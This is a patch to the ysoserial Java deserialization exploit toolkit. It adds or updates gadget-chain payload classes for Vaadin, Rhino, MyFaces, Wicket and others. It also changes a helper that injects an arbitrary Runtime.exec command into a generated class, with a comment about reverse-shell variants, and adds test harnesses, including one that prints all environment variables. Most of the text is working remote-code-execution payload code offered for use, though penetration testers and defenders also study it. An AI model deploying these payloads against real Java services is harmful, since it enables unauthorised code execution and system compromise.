+        makeSlot.invoke(scriptableObject, "outputProperties", 0, 2);
+
+        NativeJavaArray nativeJavaArray = Reflections.createWithoutConstructor(NativeJavaArray.class);
+        Reflections.setFieldValue(nativeJavaArray, "parent", dummyScope);
+        Reflections.setFieldValue(nativeJavaArray, "javaObject", Gadgets.createTemplatesImpl(command));
+        nativeJavaArray.setPrototype(scriptableObject);
+        Reflections.setFieldValue(nativeJavaArray, "prototype", scriptableObject);
+
+        NativeJavaObject nativeJavaObject = new NativeJavaObject();
+        Reflections.setFieldValue(nativeJavaObject, "parent", dummyScope);
+        Reflections.setFieldValue(nativeJavaObject, "isAdapter", true);
+        Reflections.setFieldValue(nativeJavaObject, "adapter_writeAdapterObject",
+            this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
+        Reflections.setFieldValue(nativeJavaObject, "javaObject", nativeJavaArray);
+
+        return nativeJavaObject;
+    }
+
+    public static void customWriteAdapterObject(Object javaObject, ObjectOutputStream out) throws IOException {
+        out.writeObject("java.lang.Object");
+        out.writeObject(new String[0]);
+        out.writeObject(javaObject);
+    }
+
+    public static void main(final String[] args) throws Exception {
+        PayloadRunner.run(MozillaRhino2.class, args);
+    }
+
+}

src/main/java/ysoserial/payloads/Myfaces2.java

@@ -4,6 +4,7 @@ package ysoserial.payloads;
 
 import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.PayloadTest;
+import ysoserial.payloads.util.JavaVersion;
 import ysoserial.payloads.util.PayloadRunner;
 
 
@@ -28,9 +29,12 @@ import ysoserial.payloads.util.PayloadRunner;
  *
  * @author mbechler
  */
-@PayloadTest ( harness = "ysoserial.payloads.MyfacesTest" )
+@PayloadTest(harness="ysoserial.test.payloads.MyfacesTest", precondition = "isApplicableJavaVersion")
 @Authors({ Authors.MBECHLER })
 public class Myfaces2 implements ObjectPayload<Object>, DynamicDependencies {
+    public static boolean isApplicableJavaVersion() {
+        return JavaVersion.isAtLeast(7);
+    }
 
     public static String[] getDependencies () {
         return Myfaces1.getDependencies();

src/main/java/ysoserial/payloads/URLDNS.java

@@ -9,6 +9,7 @@ import java.net.URL;
 
 import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.annotation.PayloadTest;
 import ysoserial.payloads.util.PayloadRunner;
 import ysoserial.payloads.util.Reflections;
 
@@ -40,6 +41,7 @@ import ysoserial.payloads.util.Reflections;
  *
  */
 @SuppressWarnings({ "rawtypes", "unchecked" })
+@PayloadTest(skip = "true")
 @Dependencies()
 @Authors({ Authors.GEBL })
 public class URLDNS implements ObjectPayload<Object> {

src/main/java/ysoserial/payloads/Vaadin1.java

@@ -0,0 +1,82 @@
+package ysoserial.payloads;
+
+import javax.management.BadAttributeValueExpException;
+
+import com.vaadin.data.util.NestedMethodProperty;
+import com.vaadin.data.util.PropertysetItem;
+
+import ysoserial.payloads.annotation.Authors;
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.annotation.PayloadTest;
+import ysoserial.payloads.util.Gadgets;
+import ysoserial.payloads.util.JavaVersion;
+import ysoserial.payloads.util.PayloadRunner;
+import ysoserial.payloads.util.Reflections;
+
+@Dependencies ( { "com.vaadin:vaadin-server:7.7.14", "com.vaadin:vaadin-shared:7.7.14" })
+@PayloadTest ( precondition = "isApplicableJavaVersion")
+@Authors({ Authors.KULLRICH })
+public class Vaadin1 implements ObjectPayload<Object>
+{
+//  +-------------------------------------------------+
+//  |                                                 |
+//  |  BadAttributeValueExpException                  |
+//  |                                                 |
+//  |  val ==>  PropertysetItem                       |
+//  |                                                 |
+//  |  readObject() ==> val.toString()                |
+//  |          +                                      |
+//  +----------|--------------------------------------+
+//             |
+//             |
+//             |
+//        +----|-----------------------------------------+
+//        |    v                                         |
+//        |  PropertysetItem                             |
+//        |                                              |
+//        |  toString () => getPropertyId().getValue ()  |
+//        |                                       +      |
+//        +---------------------------------------|------+
+//                                                |
+//                  +-----------------------------+
+//                  |
+//            +-----|----------------------------------------------+
+//            |     v                                              |
+//            |  NestedMethodProperty                              |
+//            |                                                    |
+//            |  getValue() => java.lang.reflect.Method.invoke ()  |
+//            |                                           |        |
+//            +-------------------------------------------|--------+
+//                                                        |
+//                    +-----------------------------------+
+//                    |
+//                +---|--------------------------------------------+
+//                |   v                                            |
+//                |  TemplatesImpl.getOutputProperties()           |
+//                |                                                |
+//                +------------------------------------------------+
+    
+    @Override
+    public Object getObject (String command) throws Exception
+    {
+        Object templ = Gadgets.createTemplatesImpl (command);
+        PropertysetItem pItem = new PropertysetItem ();        
+        
+        NestedMethodProperty<Object> nmprop = new NestedMethodProperty<Object> (templ, "outputProperties");
+        pItem.addItemProperty ("outputProperties", nmprop);
+        
+        BadAttributeValueExpException b = new BadAttributeValueExpException ("");
+        Reflections.setFieldValue (b, "val", pItem);
+        
+        return b;
+    }
+
+    public static boolean isApplicableJavaVersion() {
+        return JavaVersion.isBadAttrValExcReadObj();
+    }
+
+    public static void main(final String[] args) throws Exception {
+        PayloadRunner.run(Vaadin1.class, args);
+    }
+
+}

src/main/java/ysoserial/payloads/Wicket1.java

@@ -13,6 +13,7 @@ import org.apache.wicket.util.io.ThresholdingOutputStream;
 
 import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.annotation.PayloadTest;
 import ysoserial.payloads.util.PayloadRunner;
 import ysoserial.payloads.util.Reflections;
 
@@ -45,7 +46,8 @@ import ysoserial.payloads.util.Reflections;
  * $ cat /tmp/upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp
  * blue lobster
  */
-@Dependencies({"wicket-util:wicket-util:6.23"})
+@PayloadTest(harness="ysoserial.test.payloads.FileUploadTest", flaky="possible race condition")
+@Dependencies({"org.apache.wicket:wicket-util:6.23.0", "org.slf4j:slf4j-api:1.6.4"})
 @Authors({ Authors.JACOBAINES })
 public class Wicket1 implements ReleaseableObjectPayload<DiskFileItem> {
 

src/main/java/ysoserial/payloads/annotation/Authors.java

@@ -17,6 +17,14 @@ public @interface Authors {
     String MATTHIASKAISER = "matthias_kaiser";
     String GEBL = "gebl" ;
     String JACOBAINES = "jacob-baines";
+    String JASINNER = "jasinner";
+    String KULLRICH = "kai_ullrich";
+    String TINT0 = "_tint0";
+    String SCRISTALLI = "scristalli";
+    String HANYRAX = "hanyrax";
+    String EDOARDOVIGNATI = "EdoardoVignati";
+    String JANG = "Jang";
+    String ARTSPLOIT = "artsploit";
 
     String[] value() default {};
 

src/main/java/ysoserial/payloads/annotation/PayloadTest.java

@@ -9,11 +9,11 @@ import java.lang.annotation.RetentionPolicy;
  */
 @Retention(RetentionPolicy.RUNTIME)
 public @interface PayloadTest {
-
     String skip() default "";
 
     String precondition() default "";
 
     String harness() default "";
 
+    String flaky() default "";
 }

src/main/java/ysoserial/payloads/util/Gadgets.java

@@ -12,6 +12,7 @@ import java.lang.reflect.Proxy;
 import java.util.HashMap;
 import java.util.Map;
 
+import com.nqzero.permit.Permit;
 import javassist.ClassClassPath;
 import javassist.ClassPool;
 import javassist.CtClass;
@@ -113,7 +114,10 @@ public class Gadgets {
         final CtClass clazz = pool.get(StubTransletPayload.class.getName());
         // run command in static initializer
         // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
-        clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") + "\");");
+        String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
+            command.replace("\\", "\\\\").replace("\"", "\\\"") +
+            "\");";
+        clazz.makeClassInitializer().insertAfter(cmd);
         // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
         clazz.setName("ysoserial.Pwner" + System.nanoTime());
         CtClass superC = pool.get(abstTranslet.getName());
@@ -145,7 +149,7 @@ public class Gadgets {
             nodeC = Class.forName("java.util.HashMap$Entry");
         }
         Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
-        nodeCons.setAccessible(true);
+        Reflections.setAccessible(nodeCons);
 
         Object tbl = Array.newInstance(nodeC, 2);
         Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));

src/main/java/ysoserial/payloads/util/JavaVersion.java

@@ -21,16 +21,26 @@ public class JavaVersion {
         }
         JavaVersion v = new JavaVersion();
         String parts[] = property.split("\\.|_|-");
-        v.major   = Integer.parseInt(parts[1]);
+        int start = "1".equals(parts[0]) ? 1 : 0; // skip "1." prefix
-        v.minor   = Integer.parseInt(parts[2]);
+        v.major   = Integer.parseInt(parts[start + 0]);
-        v.update  = Integer.parseInt(parts[3]);
+        v.minor   = Integer.parseInt(parts[start + 1]);
+        v.update  = Integer.parseInt(parts[start + 2]);
         return v;
     }
 
-    
     public static boolean isAnnInvHUniversalMethodImpl() {
         JavaVersion v = JavaVersion.getLocalVersion();
         return v != null && (v.major < 8 || (v.major == 8 && v.update <= 71));
     }
+
+    public static boolean isBadAttrValExcReadObj() {
+        JavaVersion v = JavaVersion.getLocalVersion();
+        return v != null && (v.major > 8 && v.update >= 76);
+    }
+
+    public static boolean isAtLeast(int major) {
+        JavaVersion v = JavaVersion.getLocalVersion();
+        return v != null && v.major >= major;
+    }
 }
 

src/main/java/ysoserial/payloads/util/PayloadRunner.java

@@ -1,6 +1,5 @@
 package ysoserial.payloads.util;
 
-import java.io.File;
 import java.util.concurrent.Callable;
 
 import ysoserial.Deserializer;
@@ -19,7 +18,7 @@ public class PayloadRunner {
 
     public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
 		// ensure payload generation doesn't throw an exception
-		byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){
+		byte[] serialized = new ExecCheckingSecurityManager().callWrapped(new Callable<byte[]>(){
 			public byte[] call() throws Exception {
 				final String command = args.length > 0 && args[0] != null ? args[0] : getDefaultTestCmd();
 
@@ -53,11 +52,12 @@ public class PayloadRunner {
     }
 
     private static String getFirstExistingFile(String ... files) {
-        for (String path : files) {
+        return "calc.exe";
-            if (new File(path).exists()) {
+//        for (String path : files) {
-                return path;
+//            if (new File(path).exists()) {
-            }
+//                return path;
-        }
+//            }
-        throw new UnsupportedOperationException("no known test executable");
+//        }
+//        throw new UnsupportedOperationException("no known test executable");
     }
 }

src/main/java/ysoserial/payloads/util/Reflections.java

@@ -1,20 +1,42 @@
 package ysoserial.payloads.util;
 
+import java.lang.reflect.AccessibleObject;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 import java.lang.reflect.InvocationTargetException;
 
 import sun.reflect.ReflectionFactory;
 
+import com.nqzero.permit.Permit;
+
 @SuppressWarnings ( "restriction" )
 public class Reflections {
 
-	public static Field getField(final Class<?> clazz, final String fieldName) throws Exception {
+    public static void setAccessible(AccessibleObject member) {
-		Field field = clazz.getDeclaredField(fieldName);
+        String versionStr = System.getProperty("java.version");
-		if (field != null)
+        int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]);
-			field.setAccessible(true);
+        if (javaVersion < 12) {
-		else if (clazz.getSuperclass() != null)
+          // quiet runtime warnings from JDK9+
-			field = getField(clazz.getSuperclass(), fieldName);
+          Permit.setAccessible(member);
+        } else {
+          // not possible to quiet runtime warnings anymore...
+          // see https://bugs.openjdk.java.net/browse/JDK-8210522
+          // to understand impact on Permit (i.e. it does not work
+          // anymore with Java >= 12)
+          member.setAccessible(true);
+        }
+    }
+
+	public static Field getField(final Class<?> clazz, final String fieldName) {
+        Field field = null;
+	try {
+	    field = clazz.getDeclaredField(fieldName);
+	    setAccessible(field);
+        }
+        catch (NoSuchFieldException ex) {
+            if (clazz.getSuperclass() != null)
+                field = getField(clazz.getSuperclass(), fieldName);
+        }
 		return field;
 	}
 
@@ -30,10 +52,13 @@ public class Reflections {
 
 	public static Constructor<?> getFirstCtor(final String name) throws Exception {
 		final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
-	    ctor.setAccessible(true);
+	    setAccessible(ctor);
 	    return ctor;
 	}
 
+	public static Object newInstance(String className, Object ... args) throws Exception {
+        return getFirstCtor(className).newInstance(args);
+    }
 
     public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
             throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
@@ -44,9 +69,9 @@ public class Reflections {
     public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
             throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
         Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
-        objCons.setAccessible(true);
+	    setAccessible(objCons);
         Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
-        sc.setAccessible(true);
+	    setAccessible(sc);
         return (T)sc.newInstance(consArgs);
     }
 

src/main/java/ysoserial/secmgr/DelegateSecurityManager.java

@@ -4,6 +4,7 @@ import java.io.FileDescriptor;
 import java.net.InetAddress;
 import java.security.Permission;
 
+@SuppressWarnings({"deprecation"})
 public class DelegateSecurityManager extends SecurityManager {
 	private SecurityManager securityManager;
 
@@ -15,11 +16,42 @@ public class DelegateSecurityManager extends SecurityManager {
 		this.securityManager = securityManager;
 	}
 
-	@Override
+    //BEGIN fixes for JDK10+ compatibility
+
+    @SuppressWarnings({"deprecation"})
+    //@Override
 	public boolean getInCheck() {
-		return getSecurityManager().getInCheck();
+		//return getSecurityManager().getInCheck();
+        return false;
 	}
 
+    @SuppressWarnings({"deprecation"})
+    //@Override
+    public boolean checkTopLevelWindow(Object window) {
+	    //return getSecurityManager().checkTopLevelWindow(window);
+        return true;
+    }
+
+    @SuppressWarnings({"deprecation"})
+    //@Override
+    public void checkSystemClipboardAccess() {
+	    //getSecurityManager().checkSystemClipboardAccess();
+    }
+
+    @SuppressWarnings({"deprecation"})
+    //@Override
+    public void checkAwtEventQueueAccess() {
+        //getSecurityManager().checkAwtEventQueueAccess();
+    }
+
+    @SuppressWarnings({"deprecation"})
+    //@Override
+    public void checkMemberAccess(Class<?> clazz, int which) {
+        //getSecurityManager().checkMemberAccess(clazz, which);
+    }
+
+    //END fixes for JDK10+ compatibility
+
 	@Override
 	public Object getSecurityContext() {
 		return getSecurityManager().getSecurityContext();
@@ -47,136 +79,100 @@ public class DelegateSecurityManager extends SecurityManager {
 
 	@Override
 	public void checkAccess(ThreadGroup g) {
-
 		getSecurityManager().checkAccess(g);
 	}
 
 	@Override
 	public void checkExit(int status) {
-
 		getSecurityManager().checkExit(status);
 	}
 
 	@Override
 	public void checkExec(String cmd) {
-
 		getSecurityManager().checkExec(cmd);
 	}
 
 	@Override
 	public void checkLink(String lib) {
-
 		getSecurityManager().checkLink(lib);
 	}
 
 	@Override
 	public void checkRead(FileDescriptor fd) {
-
 		getSecurityManager().checkRead(fd);
 	}
 
 	@Override
 	public void checkRead(String file) {
-
 		getSecurityManager().checkRead(file);
 	}
 
 	@Override
 	public void checkRead(String file, Object context) {
-
 		getSecurityManager().checkRead(file, context);
 	}
 
 	@Override
 	public void checkWrite(FileDescriptor fd) {
-
 		getSecurityManager().checkWrite(fd);
 	}
 
 	@Override
 	public void checkWrite(String file) {
-
 		getSecurityManager().checkWrite(file);
 	}
 
 	@Override
 	public void checkDelete(String file) {
-
 		getSecurityManager().checkDelete(file);
 	}
 
 	@Override
 	public void checkConnect(String host, int port) {
-
 		getSecurityManager().checkConnect(host, port);
 	}
 
 	@Override
 	public void checkConnect(String host, int port, Object context) {
-
 		getSecurityManager().checkConnect(host, port, context);
 	}
 
 	@Override
 	public void checkListen(int port) {
-
 		getSecurityManager().checkListen(port);
 	}
 
 	@Override
 	public void checkAccept(String host, int port) {
-
 		getSecurityManager().checkAccept(host, port);
 	}
 
 	@Override
 	public void checkMulticast(InetAddress maddr) {
-
 		getSecurityManager().checkMulticast(maddr);
 	}
 
-	@Override
+    @SuppressWarnings({"deprecation"})
+    @Override
 	public void checkMulticast(InetAddress maddr, byte ttl) {
-
 		getSecurityManager().checkMulticast(maddr, ttl);
 	}
 
 	@Override
 	public void checkPropertiesAccess() {
-
 		getSecurityManager().checkPropertiesAccess();
 	}
 
 	@Override
 	public void checkPropertyAccess(String key) {
-
 		getSecurityManager().checkPropertyAccess(key);
 	}
 
-	@Override
-	public boolean checkTopLevelWindow(Object window) {
-
-		return getSecurityManager().checkTopLevelWindow(window);
-	}
-
 	@Override
 	public void checkPrintJobAccess() {
-
 		getSecurityManager().checkPrintJobAccess();
 	}
 
-	@Override
-	public void checkSystemClipboardAccess() {
-
-		getSecurityManager().checkSystemClipboardAccess();
-	}
-
-	@Override
-	public void checkAwtEventQueueAccess() {
-
-		getSecurityManager().checkAwtEventQueueAccess();
-	}
-
 	@Override
 	public void checkPackageAccess(String pkg) {
 
@@ -185,31 +181,21 @@ public class DelegateSecurityManager extends SecurityManager {
 
 	@Override
 	public void checkPackageDefinition(String pkg) {
-
 		getSecurityManager().checkPackageDefinition(pkg);
 	}
 
 	@Override
 	public void checkSetFactory() {
-
 		getSecurityManager().checkSetFactory();
 	}
 
-	@Override
-	public void checkMemberAccess(Class<?> clazz, int which) {
-
-		getSecurityManager().checkMemberAccess(clazz, which);
-	}
-
 	@Override
 	public void checkSecurityAccess(String target) {
-
 		getSecurityManager().checkSecurityAccess(target);
 	}
 
 	@Override
 	public ThreadGroup getThreadGroup() {
-
 		return getSecurityManager().getThreadGroup();
 	}
 }

src/main/java/ysoserial/secmgr/ExecCheckingSecurityManager.java

@@ -6,6 +6,7 @@ import java.util.LinkedList;
 import java.util.List;
 import java.util.concurrent.Callable;
 
+// TODO per-thread secmgr
 public class ExecCheckingSecurityManager extends SecurityManager {
 	public ExecCheckingSecurityManager() {
 		this(true);
@@ -41,7 +42,6 @@ public class ExecCheckingSecurityManager extends SecurityManager {
 		}
 	};
 
-
 	@SuppressWarnings("serial")
 	public static class ExecException extends RuntimeException {
 		private final String threadName = Thread.currentThread().getName();
@@ -56,8 +56,8 @@ public class ExecCheckingSecurityManager extends SecurityManager {
 		}
 	}
 
-	public void wrap(final Runnable runnable) throws Exception {
+	public void callWrapped(final Runnable runnable) throws Exception {
-		wrap(new Callable<Void>(){
+		callWrapped(new Callable<Void>(){
 			public Void call() throws Exception {
 				runnable.run();
 				return null;
@@ -65,7 +65,7 @@ public class ExecCheckingSecurityManager extends SecurityManager {
 		});
 	}
 
-	public <T> T wrap(final Callable<T> callable) throws Exception {
+	public <T> T callWrapped(final Callable<T> callable) throws Exception {
 		SecurityManager sm = System.getSecurityManager(); // save sm
 		System.setSecurityManager(this);
 		try {

src/main/java/ysoserial/secmgr/ThreadLocalSecurityManager.java

@@ -1,33 +0,0 @@
-package ysoserial.secmgr;
-
-import java.util.concurrent.Callable;
-
-public class ThreadLocalSecurityManager extends DelegateSecurityManager {
-
-	private final ThreadLocal<SecurityManager> threadDelegates
-		= new ThreadLocal<SecurityManager>();
-
-	public void install() {
-		System.setSecurityManager(this);
-	}
-
-	@Override
-	public void setSecurityManager(SecurityManager threadManager) {
-		threadDelegates.set(threadManager);
-	}
-
-	@Override
-	public SecurityManager getSecurityManager() {
-		return threadDelegates.get();
-	}
-
-	public <V> V wrap(SecurityManager sm, Callable<V> callable) throws Exception {
-		SecurityManager old = getSecurityManager();
-		setSecurityManager(sm);
-		try {
-			return callable.call();
-		} finally {
-			setSecurityManager(old);
-		}
-	}
-}

src/test/java/ysoserial/CiTest.java

@@ -0,0 +1,11 @@
+package ysoserial;
+
+import org.junit.Test;
+
+public class CiTest {
+    @Test
+    public void test() {
+        System.out.println("System.getProperties(): " + System.getProperties());
+        System.out.println("System.getenv(): " + System.getenv());
+    }
+}

src/test/java/ysoserial/test/CustomDeserializer.java

@@ -1,4 +1,4 @@
-package ysoserial;
+package ysoserial.test;
 
 
 /**

src/test/java/ysoserial/test/CustomPayloadArgs.java

@@ -1,4 +1,4 @@
-package ysoserial;
+package ysoserial.test;
 
 
 /**

src/test/java/ysoserial/test/CustomTest.java

@@ -1,4 +1,4 @@
-package ysoserial;
+package ysoserial.test;
 
 import java.util.concurrent.Callable;
 

src/test/java/ysoserial/test/WrappedTest.java

@@ -1,4 +1,4 @@
-package ysoserial;
+package ysoserial.test;
 
 import java.util.concurrent.Callable;
 

src/test/java/ysoserial/test/exploit/RMIRegistryExploitTest.java

@@ -1,4 +1,4 @@
-package ysoserial.exploit;
+package ysoserial.test.exploit;
 
 import java.rmi.RemoteException;
 import java.rmi.registry.LocateRegistry;

src/test/java/ysoserial/test/payloads/CommandExecTest.java

@@ -0,0 +1,39 @@
+package ysoserial.test.payloads;
+
+import org.junit.Assert;
+import ysoserial.test.CustomTest;
+import ysoserial.test.util.Files;
+import ysoserial.test.util.OS;
+
+import java.io.File;
+import java.util.UUID;
+import java.util.concurrent.Callable;
+
+public class CommandExecTest implements CustomTest {
+    private final File testFile =
+        new File(OS.getTmpDir(), "ysoserial-test-" + UUID.randomUUID().toString().replaceAll("-", ""));
+
+    @Override
+    public void run(Callable<Object> payload) throws Exception {
+        Assert.assertFalse("test file should not exist", testFile.exists());
+        try {
+            payload.call();
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+        Files.waitForFile(testFile, 5000);
+        Assert.assertTrue("test file should exist", testFile.exists());
+        testFile.deleteOnExit();
+    }
+
+    @Override
+    public String getPayloadArgs() {
+        switch (OS.get()) {
+            case OSX:
+            case LINUX: return "touch " + testFile;
+            case WINDOWS: return "powershell -command new-item -type file " + testFile;
+            default: throw new UnsupportedOperationException("unsupported os");
+        }
+    }
+
+}

src/test/java/ysoserial/test/payloads/FileUploadTest.java

@@ -1,4 +1,4 @@
-package ysoserial.payloads;
+package ysoserial.test.payloads;
 
 import java.io.File;
 import java.io.IOException;
@@ -9,7 +9,8 @@ import org.junit.Assert;
 
 import com.google.common.io.Files;
 
-import ysoserial.CustomTest;
+import ysoserial.test.CustomTest;
+import ysoserial.test.util.OS;
 
 /**
  * @author mbechler
@@ -46,26 +47,42 @@ public class FileUploadTest implements CustomTest {
             payload.call();
 
             File found = null;
-            for ( File f : this.repo.listFiles()) {
+            for (int i = 0; i < 50 && found == null; i++) { // try for 5s before failing
-                found = f;
+                for (File f : this.repo.listFiles()) {
-                break;
+                    found = f;
+                    break;
+                }
+                Thread.sleep(100);
             }
             Assert.assertNotNull("File not copied", found);
-            Assert.assertFalse("Source not deleted", this.source.exists());
+            if (OS.get() != OS.WINDOWS) {
+                // windows' file locking seems to cause this to fail
+                Assert.assertFalse("Source not deleted", this.source.exists());
+            }
             Assert.assertTrue("Contents not copied", Arrays.equals(FDATA, Files.toByteArray(found)));
         } finally {
             if ( this.repo.exists()) {
                 for ( File f : this.repo.listFiles()) {
-                    f.delete();
+                    safeDeleteOnExit(f);
                 }
-                this.repo.delete();
+                safeDeleteOnExit(this.repo);
             }
-            this.source.delete();
+            safeDeleteOnExit(this.source);
+        }
+    }
+
+    private static void safeDeleteOnExit(File f) {
+        try {
+            if (f.exists()) {
+                f.deleteOnExit();
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
         }
     }
 
     public String getPayloadArgs () {
-        return "copyAndDelete:" + this.source.getAbsolutePath() + ":" + this.repo.getAbsolutePath();
+        return "copyAndDelete;" + this.source.getAbsolutePath() + ";" + this.repo.getAbsolutePath();
     }
 
 }

src/test/java/ysoserial/test/payloads/JRMPReverseConnectSMTest.java

@@ -1,10 +1,10 @@
-package ysoserial.payloads;
+package ysoserial.test.payloads;
 
 
 import java.net.URL;
 import java.util.concurrent.Callable;
 
-import ysoserial.WrappedTest;
+import ysoserial.test.WrappedTest;
 import ysoserial.exploit.JRMPListener;
 
 
@@ -30,7 +30,7 @@ public class JRMPReverseConnectSMTest extends RemoteClassLoadingTest implements
     /**
       * {@inheritDoc}
       *
-      * @see ysoserial.payloads.RemoteClassLoadingTest#createCallable(java.util.concurrent.Callable)
+      * @see RemoteClassLoadingTest#createCallable(java.util.concurrent.Callable)
       */
     @Override
     public Callable<Object> createCallable ( final Callable<Object> innerCallable ) {

src/test/java/ysoserial/test/payloads/JRMPReverseConnectTest.java

@@ -1,4 +1,4 @@
-package ysoserial.payloads;
+package ysoserial.test.payloads;
 
 
 import java.util.concurrent.Callable;
@@ -7,7 +7,7 @@ import javax.management.BadAttributeValueExpException;
 
 import org.junit.Assert;
 
-import ysoserial.CustomTest;
+import ysoserial.test.CustomTest;
 import ysoserial.exploit.JRMPListener;
 
 

src/test/java/ysoserial/test/payloads/MyfacesTest.java

@@ -1,4 +1,4 @@
-package ysoserial.payloads;
+package ysoserial.test.payloads;
 
 
 import java.beans.FeatureDescriptor;
@@ -23,7 +23,8 @@ import org.mockito.Mockito;
 import org.mockito.invocation.InvocationOnMock;
 import org.mockito.stubbing.Answer;
 
-import ysoserial.CustomDeserializer;
+import ysoserial.payloads.util.Reflections;
+import ysoserial.test.CustomDeserializer;
 import ysoserial.Deserializer;
 
 
@@ -142,7 +143,7 @@ public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeseria
         @Override
         public Object call () throws Exception {
             java.lang.reflect.Method setFC = FacesContext.class.getDeclaredMethod("setCurrentInstance", FacesContext.class);
-            setFC.setAccessible(true);
+            Reflections.setAccessible(setFC);
             ClassLoader oldTCCL = Thread.currentThread().getContextClassLoader();
             Thread.currentThread().setContextClassLoader(this.getClass().getClassLoader());
             FacesContext ctx = createMockFacesContext();

src/test/java/ysoserial/test/payloads/PayloadsTest.java

@@ -1,42 +1,44 @@
-package ysoserial.payloads;
+package ysoserial.test.payloads;
 
 
-import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;
+import java.io.ByteArrayOutputStream;
-
 import java.io.File;
+import java.io.OutputStream;
+import java.io.PrintStream;
 import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Method;
 import java.net.URL;
 import java.net.URLClassLoader;
 import java.util.Arrays;
+import java.util.HashMap;
+import java.util.Map;
 import java.util.Set;
 import java.util.concurrent.Callable;
 
-import org.hamcrest.CoreMatchers;
 import org.jboss.shrinkwrap.resolver.api.maven.Maven;
-import org.junit.Assert;
 import org.junit.Assume;
-import org.junit.Rule;
 import org.junit.Test;
-import org.junit.contrib.java.lang.system.ProvideSecurityManager;
+import org.junit.runner.Description;
+import org.junit.runner.JUnitCore;
+import org.junit.runner.Result;
 import org.junit.runner.RunWith;
+import org.junit.runner.notification.Failure;
+import org.junit.runner.notification.RunListener;
 import org.junit.runners.Parameterized;
 import org.junit.runners.Parameterized.Parameters;
 
-import ysoserial.CustomDeserializer;
+import ysoserial.*;
-import ysoserial.CustomPayloadArgs;
+import ysoserial.payloads.DynamicDependencies;
-import ysoserial.CustomTest;
+import ysoserial.payloads.ObjectPayload;
-import ysoserial.Deserializer;
+import ysoserial.test.CustomTest;
-import ysoserial.Serializer;
+import ysoserial.test.CustomDeserializer;
-import ysoserial.Throwables;
+import ysoserial.test.CustomPayloadArgs;
-import ysoserial.WrappedTest;
+import ysoserial.test.WrappedTest;
-import ysoserial.payloads.TestHarnessTest.ExecMockPayload;
+import ysoserial.test.payloads.TestHarnessTest.ExecMockPayload;
-import ysoserial.payloads.TestHarnessTest.NoopMockPayload;
+import ysoserial.test.payloads.TestHarnessTest.NoopMockPayload;
 import ysoserial.payloads.annotation.Dependencies;
 import ysoserial.payloads.annotation.PayloadTest;
 import ysoserial.payloads.util.ClassFiles;
-import ysoserial.secmgr.ExecCheckingSecurityManager;
-import ysoserial.secmgr.ExecCheckingSecurityManager.ExecException;
 
 
 /*
@@ -52,9 +54,6 @@ TODO: figure out better way to test exception behavior than comparing messages
 @RunWith ( Parameterized.class )
 public class PayloadsTest {
 
-    private static final String ASSERT_MESSAGE = "should have thrown " + ExecException.class.getSimpleName();
-
-
     @Parameters ( name = "payloadClass: {0}" )
     public static Class<? extends ObjectPayload<?>>[] payloads () {
         Set<Class<? extends ObjectPayload>> payloadClasses = ObjectPayload.Utils.getPayloadClasses();
@@ -78,68 +77,74 @@ public class PayloadsTest {
 
     public static void testPayload ( final Class<? extends ObjectPayload<?>> payloadClass, final Class<?>[] addlClassesForClassLoader )
             throws Exception {
+        System.out.println("Testing payload: " + payloadClass.getName());
+
         String command = "hostname";
-        String[] deps = buildDeps(payloadClass);
 
         PayloadTest t = payloadClass.getAnnotation(PayloadTest.class);
 
+        int tries = 1;
         if ( t != null ) {
-            if ( !t.skip().isEmpty() ) {
+            if (System.getProperty("forceTests") == null) {
-                Assume.assumeTrue(t.skip(), false);
+                if ( !t.skip().isEmpty() ) {
+                    Assume.assumeTrue(t.skip(), false);
+                }
+
+                if ( !t.precondition().isEmpty() ) {
+                    Assume.assumeTrue("Precondition: " + t.precondition(), checkPrecondition(payloadClass, t.precondition()));
+                }
             }
 
-            if ( !t.precondition().isEmpty() ) {
+            if (! t.flaky().isEmpty()) {
-                Assume.assumeTrue("Precondition", checkPrecondition(payloadClass, t.precondition()));
+                tries = 5;
             }
         }
 
+        String[] deps = buildDeps(payloadClass);
         String payloadCommand = command;
         Class<?> customDeserializer = null;
-        Object wrapper = null;
+        Object testHarness = null;
         if ( t != null && !t.harness().isEmpty() ) {
-            Class<?> wrapperClass = Class.forName(t.harness());
+            Class<?> testHarnessClass = Class.forName(t.harness());
             try {
-                wrapper = wrapperClass.getConstructor(String.class).newInstance(command);
+                testHarness = testHarnessClass.getConstructor(String.class).newInstance(command);
             } catch ( NoSuchMethodException e ) {
-                wrapper = wrapperClass.newInstance();
+                testHarness = testHarnessClass.newInstance();
-            }
-
-            if ( wrapper instanceof CustomPayloadArgs ) {
-                payloadCommand = ( (CustomPayloadArgs) wrapper ).getPayloadArgs();
-            }
-
